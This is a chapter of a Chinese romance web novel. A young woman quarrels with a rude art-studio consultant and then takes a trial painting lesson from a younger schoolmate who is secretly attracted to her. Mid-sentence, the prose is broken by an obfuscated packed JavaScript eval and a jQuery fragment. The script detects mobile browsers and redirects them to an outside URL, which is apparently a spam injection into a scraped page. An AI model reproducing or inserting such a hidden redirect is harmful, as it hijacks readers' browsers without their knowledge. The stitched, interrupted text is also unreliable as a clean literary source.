她睡着时轻眨的睫毛，像蝴蝶蹁跹落在我心上。
——《千禧故事》
简宁萌生了学画画的心思。
她想在视频号做一期以“女孩子要学会养自己”为主题的vlog，而第一条她想拍的内容是长大后靠自己实现小时候的梦想，以她自己为例。
她原本是想找以前兼职过人体模特的画室老师，但那家画室主要是为艺考或者比赛服务的，不适合她这种零基础的，于是她在网上试探着咨询了一家。
她先是礼貌地询问：“老师好，请问零基础可以学吗？”
在得到老师肯定的答复后，她开始跃跃欲试：“请问可以试课吗？”
由于是第三方平台，对方回复很快：“学板绘需要有基础，没有基础学不了。”
简宁能理解，于是继续问：“那请问老师学板绘之前需要学什么？”
那边这回直接建议她加微信，她没有多想，根据对方提供的微信号添加了过去。
咨询从第三方平台转为微信私聊后，起初一切都顺利，关于课程时间与费用她也都表示没有问题。
最后她表达一下自己的学习目的，又与老师闲聊了几句，听对方说起之后可以进阶学习商插一事，她顺着话问道：“老师画商插吗？”
对方答：“画。”
简宁没意识到对方忽然冷下来的态度，反而继续兴致勃勃地说：“哇，真的吗？我有个朋友很需要商插画手，要是有机会能和老师合作就好了。老师要是有好的商插学员方便推荐吗？呜呜我朋友真的很需要。”
她等了一会儿，对方没有回复。
一开始她觉得对方可能是在忙，但细思之下，又感觉可能是自己冒犯到了对方，是以她又发消息：“啊，不好意思，我有点激动，要是冒犯到老师了，就当我没说。实在抱歉。”
她又等了一会儿，对方还是没回复。
正好目的地也快到了，她就没有工夫继续管这件事了，一整个上午都投入到工作当中。
等她忙完已是中午十二点，拿起手机发现画室老师依旧没有回复，她仍然只当是对方很忙。
确认对方只是单纯不回复自己是因为她打开朋友圈看到了对方于一小时前发布了新的朋友圈。
她顿时感到有些无语，又主动给画室老师发消息：“老师，看来我是真的冒犯你了，不好意思啊。”
这回对方秒回：“我只是觉得关于商插的事，你可以到了画室再当面谈。我只是负责咨询的，不想插手商业活动。”
几句话看得简宁顿时来了火，说话也不再那么客气：“呃，那老师您直说就好呀，您不说我不知道呀。我还以为您一上午都在忙，没想到是冒犯您了，那您憋着不说一定特别难受吧。”
最后一个字时，她特意用了波浪号。
这回对方又直接“死机”了，半天不回消息。
简宁觉得这画室不去也罢，于是直言道：“既然我得罪您了，那见面多少有点尴尬，这画室我就不去了，祝您发大财。”
发完她直接删除了对方。
这几年，她让自己变成了有话直说的人，做错了就道歉，别人错了她也不想惯着，最烦那种藏着掖着不说话，搞冷暴力的。
没错，她感受到了来自“客服”的冷暴力，并且是在她态度极其谦卑友好的前提下。
删掉对方她仍旧觉得心里憋着一口气，觉得特别郁闷，她不明白对方在高傲什么，大家都是人，怎么有些人就是一副高高在上的姿态？
她怎么都没想到咨询美术培训会被一个“客服”气到，当即发了一大段语音跟况嘉年吐槽。
人果然是需要发泄的动物，将情绪转化成语音愤怒后，她感觉心里好受多了。
况嘉年回消息很快，几大段同样是吐槽那个画室咨询员的语音更加最大程度地安抚了简宁的烦躁情绪。
她腻着嗓子发语音：“年宝，你真好，亲一个。”
女孩子之间就是这样的，统一战线才是给对方最大的支持。
冷静下来后，简宁又联系了另一家画室。有了前车之鉴，她对对方的态度官方而冷淡，谈到最后那边的人表示如果感兴趣当晚便可以试课。
简宁答应了。
她下了班没有回学校，而且直接打车去距离工作地点十公里远的星夜画室。
半小时后。
星夜画室。
招待简宁的是一个看起来与她年纪差不多大的女生，说话温温柔柔的：“简小姐，请您在会客区稍坐片刻，我给您倒杯水，稍后为您安排授课老师。”
“好，谢谢你。”简宁冲她点点头，便在单人沙发上坐下。
女生端来一杯温水后，便去忙工作了。
简宁累了一天，一坐下来就放松了身心，加上会客区比较安静，一不留神靠着沙发睡着了。
画室老师忙完后来到会客区看到的便是简宁沉静的睡颜，睫毛偶尔眨动时像展翅欲飞的蝶。
他不忍吵醒她，却又不舍得将目光从她脸上移开，是以一直站在原地佯装看画册，实则视线一直锁住她。
被人注
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427093|168426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
视是会有感觉的，简宁哪怕睡着了也觉得有一道灼热的目光停留在自己身上。
大脑接收到危险的信号后，她猛地惊醒。
她先是看了一下自己身上，确定无异样才抬头环顾四周。
“小陆同学？”看到面前站着的那个人是陆以豪时，简宁有些惊讶。
方才那炽热到灼人的视线应该是她的错觉吧？
会客区只有她和陆以豪，陆以豪怎么可能用那样的目光看她？
看来她是真的累坏了。
陆以豪见她醒来，假装自己一直在看画册，若无其事地将手里的册子放回书架上，才说道：“是啊，姐姐，我们又见面了。”
说完，他缓缓走到她对面的沙发上坐下。
“你就是我的试课老师？”简宁问道。
陆以豪点点头：“嗯，是我。”
面对比自己小几岁的学弟，简宁突然有些不好意思。
陆以豪像是洞悉了她的心思，主动开口道：“姐姐不用紧张，只要把你真正的想法告诉我就行。比如，姐姐为什么想要学画画？”
说起学画画的目的，简宁整个人就放松了许多：“因为感兴趣，也因为工作需要。”
两人又简单地聊了两句，陆以豪便将人带到绘画区，一边走一边介绍：“我们画室的练习时间很自由，只要在小程序上预约即可。一应画具，包括画笔、颜料和纸张等，都由画室提供，学生不需要额外准备。另外……”
简宁边听边点头，偶尔问一两个自己不太明白的问题，陆以豪也都一一耐心地解释。
“那好，现在姐姐先试着为这张画上色。”陆以豪最后道。
虽说简宁从小便想学画画，但家里没有那个条件，她也因为一门心思埋头苦读，可以说是几乎没有接触过画画。一时之间，她有些扭捏。
“没关系，姐姐先坐下。”陆以豪示意简宁坐在画架前。
她依言坐下，又在陆以豪的指导下拿起画笔。
她拿画笔的动作生涩僵硬，怎么调整都觉得浑身不适。
“姐姐不要着急，你这样……”陆以豪微微俯身，从身后虚虚环住她，右手轻轻叠在她的右手背。
陆以豪握着她的手缓慢却稳稳地完成了一块区域的上色。
新鲜的体验让简宁整个人都兴奋了起来，猛地回头想要邀功，却忘了身后是与自己靠得极近的陆以豪。
等她意识到以目前两个人如此亲密的姿势来看，她这个回头的动作必然导致一个让人脸红心跳的结果时，已经来不及了。